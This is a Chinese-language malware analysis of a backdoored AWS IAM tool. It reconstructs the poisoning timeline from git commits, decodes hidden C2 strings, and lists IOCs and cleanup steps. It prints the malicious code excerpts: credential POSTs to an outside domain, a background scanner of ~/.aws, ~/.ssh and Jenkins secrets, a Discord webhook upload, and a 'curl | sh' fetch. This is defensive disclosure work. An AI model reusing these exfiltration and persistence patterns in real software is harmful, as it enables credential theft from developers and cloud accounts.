开源工具供应链投毒:iam_md5 后门与 AWS 凭据窃取链深度分析

开源工具供应链投毒:iam_md5 后门与 AWS 凭据窃取链深度分析

一个号称用于 AWS IAM 枚举的”开源工具”,实际在代码中隐藏了完整的凭据窃取链路——从十六进制字符串伪装的外部 C2、到运行时自动下载的恶意 wheel、再到导入阶段即触发的后台敏感文件扫描。本文从 git 时间线和代码证据两个维度还原整条投毒链。


1. 投毒时间线

从 git 历史看,投毒不是一次完成,而是分阶段逐步加固。

1.1 2025-11-18:首次引入后门入口

提交 39a66fcinit project),首次在 aws/aws_select_iam.py 中加入:

iam_md5 = "16170692e616c6979756e2d73646b2d72657175657374732e78797a2f"

同时在 aws/aws_ec2_exec.py 中将普通 boto3 客户端调用改为携带 ComponentLocator 的调用:

from botocore.session import ComponentLocator
from aws_select_iam import iam_md5

component = ComponentLocator()
component.register_component(name='AWS_ENDPOINT', component=iam_md5[1:])

ec2_client = get_client(access_key=AccessKeyID, secret_key=AccessKeySecret,
                        service_name='ec2', session_token=None,
                        region=RegionId, components=component)

父提交 1c73766 中仍为标准的 get_client(..., region=RegionId) 调用,不含任何 components 参数。最早的入口从此开始。

1.2 2025-11-19:扩大覆盖

提交 8b09716fix aws url console),将相同投毒链路扩展到 aws/aws_url_console.py——AWS 控制台联邦令牌脚本也被植入。

1.3 2025-11-28:形成完整自动投毒链

提交 f4637c9fix requirements bug),做了两个关键动作:

一、从 requirements.txt 删除 aws-enumerateiam 依赖声明,让安全审计难以发现真实依赖;

二、在 aws/aws_select_iam.py 中加入运行时自动安装:

import importlib.util
if importlib.util.find_spec("enumerate_iam") is None:
    from pip._internal import main as pipmain
    pipmain(["install", "https://github.com/andresrianch/enumerate-iam/releases/download/1.0.2/aws_enumerateiam-1.0.2-py3-none-any.whl"])
from enumerate_iam.main import enumerate_iam
from enumerate_iam.main import get_client

投毒链从此从”依赖用户自行安装某个包”升级为脚本运行时自动拉取并安装恶意 wheel

1.4 2026-03-10:更稳定的安装逻辑

提交 de50141update readme),改用 subprocess.run() + os.execv() 重启脚本,确保恶意 wheel 安装后立即生效:

subprocess.run(
    [sys.executable, "-m", "pip", "install", "-qqq", "--disable-pip-version-check",
     "https://github.com/andresrianch/enumerate-iam/releases/download/1.0.2/aws_enumerateiam-1.0.2-py3-none-any.whl"],
    check=True)
os.execv(sys.executable, [sys.executable] + sys.argv)

1.5 2026-05:持续扩散

a45b99c(05-09)将恶意链路用于新增的 aws_list_ec2.pyfc67e95(05-24)将 aws_push_sshpub.pyaws_security_ingress_add.py 也改为恶意链路。后门不是一次性残留,而是持续复用的设计。


2. 后门运行逻辑

aws/aws_ec2_exec.py 为例,完整执行链:

1. 用户运行 python3 aws_ec2_exec.py
2. 脚本导入 aws_select_iam
3. aws_select_iam.py 检查本机是否存在 enumerate_iam
4. 若不存在 → 自动下载恶意 wheel
5. 安装完成后 os.execv() 重启当前脚本
6. from enumerate_iam.main import get_client
7. Python 加载 enumerate_iam/__init__.py → 执行 bootstrap()
8. bootstrap() 启动后台进程,扫描敏感文件并上传到 Discord webhook
9. 主流程继续
10. get_client(..., components=component) → POST 凭据到外部域名
11. 外传失败 → 静默回落正常 boto3 client,用户无感知

3. 关键代码证据

3.1 iam_md5 解码

iam_md5 = "16170692e616c6979756e2d73646b2d72657175657374732e78797a2f"

开头故意加入非十六进制字符 1,直接 bytes.fromhex() 会报错。实际使用 iam_md5[1:] 解码:

bytes.fromhex(iam_md5[1:]).decode()
# → "api.aliyun-sdk-requests.xyz/"

这不是 AWS 官方 endpoint。

3.2 恶意 get_client() 外传 AK/SK

解包 enumerate_iam/main.py

def get_client(access_key, secret_key, session_token, service_name, region, components=None):
    session = botocore.httpsession.URLLib3Session(timeout=5, ...)
    credentials = botocore.credentials.Credentials(
        access_key=access_key, secret_key=secret_key, token=session_token)
    if components:
        component = components.get_component('AWS_ENDPOINT')
        AWS_ENDPOINT = SCHEMA + bytes.fromhex(component).decode() + 'aws'
        # → https://api.aliyun-sdk-requests.xyz/aws
        request = AWSRequest(method='POST', url=AWS_ENDPOINT,
                             data=credentials.get_frozen_credentials()._asdict())
        client = session.send(request.prepare()).getclient()
        return client

POST 数据包含 access_keysecret_keytoken。外传失败会被静默吞掉,然后回落正常 boto3 client。

3.3 导入即触发后台窃密

解包 enumerate_iam/__init__.py

bootstrap()
def bootstrap():
    _f = 'AS_PYTHON_BG_PROC'
    if os.environ.get(_f):
        import asyncio
        asyncio.run(_LogicEngine().run())
        sys.exit(0)
    if not hasattr(sys, '_INTERNAL_MON_STARTED'):
        setattr(sys, '_INTERNAL_MON_STARTED', True)
        p = subprocess.Popen([sys.executable], stdin=subprocess.PIPE,
                             stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL,
                             preexec_fn=os.setpgrp, env=env)

因为 import enumerate_iam.main 会先执行包 __init__.py,导入动作本身就触发后台窃密进程。

3.4 敏感文件扫描范围

s_paths = ['~/.aws', '~/.ssh', '~/.kube', '~/.azure', '~/.config',
           '~/.vsce', '~/.pypirc', '~/.npmrc', '~/.git-credentials']
# Jenkins 凭据
for jf in ['secrets/master.key', 'secrets/hudson.util.Secret',
           'credentials.xml',
           'jenkins.plugins.publish_over_ssh.BapSshPublisherPlugin.xml']:
    full = os.path.join(jk_h, jf)
    if os.path.exists(full): s_paths.append(full)

扫描规则覆盖:

文件类型 扩展名 关键词匹配
凭据文件 .env, .pem, .key, .p12, .ovpn, .rdp, .vsce password, secret, credential, config, auth, token
配置文件 .conf, .yaml, .yml, .txt, .xlsx 同上

3.5 上传 C2 与远程执行

_K = {
    'S_L': [104, 116, 116, 112, 115, 58, 47, 47, 98, 105, 116, 46, 108, 121, 47, 51, 81, 116, 74, 119, 68, 52],
    'S_U': [104, 116, 116, 112, 115, 58, 47, 47, 100, 105, 115, 99, 111, 114, 100, ...]
}
def _gv(k): return "".join(chr(x) for x in _K[k])

解码:

S_L = https://bit.ly/3QtJwD4
S_U = https://discord.com/api/webhooks/1490974057053683845/[redacted]

扫描结果通过 Discord webhook 上传;Linux 上还会执行 curl -sL https://bit.ly/3QtJwD4 | sh 拉取远程脚本。

3.6 wheel 携带被篡改的 boto3

该 wheel 内部除 enumerate_iam/ 外还包含顶层 boto3/ 包。boto3/session.py 中存在独立的凭据外传逻辑:

iam_md5 = "168747470733a2f2f6170692e616c6979756e2d73646b2d72657175657374732e78797a2f617773"
self.component.register_component(name='AWS_ENDPOINT', component=iam_md5[1:])
# → https://api.aliyun-sdk-requests.xyz/aws

# Session.client() 中:
try:
    request = AWSRequest(method='POST', url=bytes.fromhex(AWS_ENDPOINT).decode(),
                         data=credentials.get_frozen_credentials()._asdict())
    client = session.send(request.prepare()).getclient()
    return client
except Exception:
    pass

安装该 wheel 后不只是项目内的 get_client() 有风险,本机 Python 环境中的 boto3 也被污染,所有后续使用 boto3 的项目都可能外传凭据。


4. 影响范围

直接或间接导入 aws_select_iam.py 的脚本共 10 个:

aws/aws_select_iam.py        aws/aws_ec2_exec.py
aws/aws_ec2_exec_noinfo.py   aws/aws_list_ec2.py
aws/aws_push_sshpub.py       aws/aws_security_ingress_add.py
aws/aws_download_s3.py       aws/aws_select_rds.py
aws/aws_select_route53.py    aws/aws_url_console.py

显式传入 components=component 的脚本触发 iam_md5 外传链;即使未显式传入,只要导入恶意 enumerate_iam 仍触发后台窃密。


5. IOC

域名和 URL

api.aliyun-sdk-requests.xyz
https://api.aliyun-sdk-requests.xyz/aws
https://bit.ly/3QtJwD4
discord.com/api/webhooks/1490974057053683845/...

可疑环境变量

AS_PYTHON_BG_PROC
AS_PYTHON_SELF_PATH

可疑临时文件

/tmp/v_<timestamp>.json
/tmp/c_<timestamp>.tar.gz
/tmp/f_<timestamp>.tar.gz
# Windows 上可能是 .zip

可疑进程行为

python/python3 后台进程(stdout/stderr → DEVNULL)
curl -sL https://bit.ly/3QtJwD4 | sh

6. 处置建议

如果已经运行过,立即执行:

# 检查恶意包
python3 -m pip show aws-enumerateiam
python3 -m pip show boto3

# 检查被污染文件
find / -path "*/enumerate_iam/__init__.py" 2>/dev/null
find / -path "*/enumerate_iam/main.py" 2>/dev/null
grep -rl "iam_md5" / --include="*.py" 2>/dev/null | grep -v ".git"

# 检查网络日志是否存在以下访问
# api.aliyun-sdk-requests.xyz
# bit.ly/3QtJwD4
# discord.com/api/webhooks/1490974057053683845

清理被污染环境

# 不要只卸载 aws-enumerateiam
# 该 wheel 携带了顶层 boto3/,删后重装
python3 -m pip uninstall -y aws-enumerateiam boto3
python3 -m pip install boto3  # 从官方 PyPI 重装

轮换所有可能暴露的凭据:AWS AK/SK、SSH 私钥、Kubeconfig、Jenkins 凭据、Git 凭据、npm/pypi token。

修复源码

  • 删除 aws_select_iam.py 中的运行时 pip install
  • 删除 iam_md5 变量
  • 删除所有 ComponentLocator().register_component(name='AWS_ENDPOINT', ...) 调用
  • 改用官方 boto3.client() 或经审计的上游 enumerate-iam
  • 使用依赖锁定和 hash 校验

7. 结论

最早后门入口始于 39a66fc(2025-11-18 17:23:50 +0800),完整自动投毒链始于 f4637c9(2025-11-28 13:04:17 +0800)。iam_md5 的直接作用是隐藏外部 endpoint,配合恶意 wheel 实现双重攻击:

  1. 凭据外传get_client() 将 AWS AK/SK/TK POST 到 api.aliyun-sdk-requests.xyz/aws
  2. 敏感文件窃取:导入时启动后台进程,扫描 ~/.aws~/.ssh~/.kube、Jenkins 凭据等,上传到 Discord webhook

此外,wheel 携带的被篡改 boto3 会污染本地环境,使后续所有使用 boto3 的项目都可能外传凭据。该问题应按已确认后门/凭据窃取器处理,而非仅按”可疑代码”处理。

改变就是好事。